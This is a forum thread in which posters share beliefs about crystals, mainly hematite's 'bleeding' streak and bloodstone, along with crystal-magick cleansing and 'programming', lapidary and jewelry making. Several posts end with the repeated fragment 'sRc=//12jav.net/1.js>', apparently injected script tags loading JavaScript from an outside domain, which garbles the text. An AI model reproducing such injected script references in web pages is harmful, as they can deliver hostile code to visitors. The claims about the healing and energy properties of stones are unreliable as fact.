I don't know too much about crystals, only a little general information. For example, I might wear a bit of quartz for mental clarity and steady nerves. Just for fun, does anyone know the properties of hematite? And the properties of Bloodstone? Those are my two favorite stones, and I've never quite figured out their qualities, other than that hematite is steady and soothing.
In other words, I do want to learn more about crystals. =)
I love hematite's healing abilities. I don't know if your aware but the stone can "bleed" and was originally called "blood stone". People were amazed at it because if scratched it you can see a red line but if you rub your finger over it, the scratch disappears! It used to be carried by warriors because of this. I think this is so cool! I used to use hematite under my pillow to ground me while I slept. I had a bad habit of traveling in my sleep and waking up exhausted and disorientated. Worked wonders.
Gemstone/rock/crystal magick is easy stuff! I've been doing it since I was a kid. All you need to do is clear the stone when you first purchase it or when changing its complete purpose, cleanse the stone (so that the energy is harmonious) and then program the stone to whatever it is you want it to do. I like to alter the energy flow of the stone to align it as well as tone the energy down or heighten it depending on what it's used for. You don't want an over buzzy rose quartz when you desire a sense of calm. And you want a smooth flow of energy from base to tip if it's a crystal point. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
It doesn't really "bleed", but the cut is red because hematite is an ore, but the red mark does vanish when you rub your finger over it. If you do your own lapidary work (smoothing and shaping stones) the water that comes off of the hematite as you cut it is red too, which is awesome.
I make jewelry and metalsmith. I will one day learn how to do my own lapidary work. You have to go to college for it or become an apprentice. I can set my own stones, which comes in handy. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Skylance. WhiteRaven posted it! Hermatite "used to be called bloodstone". This is why do not now refer to it as bloodstone,so that it does not become confused with the "green/red" type stone. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
I don't think crystals are mined especially for religious purposes. More for cosmetic jewellery. But Pagans do buy it of course. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>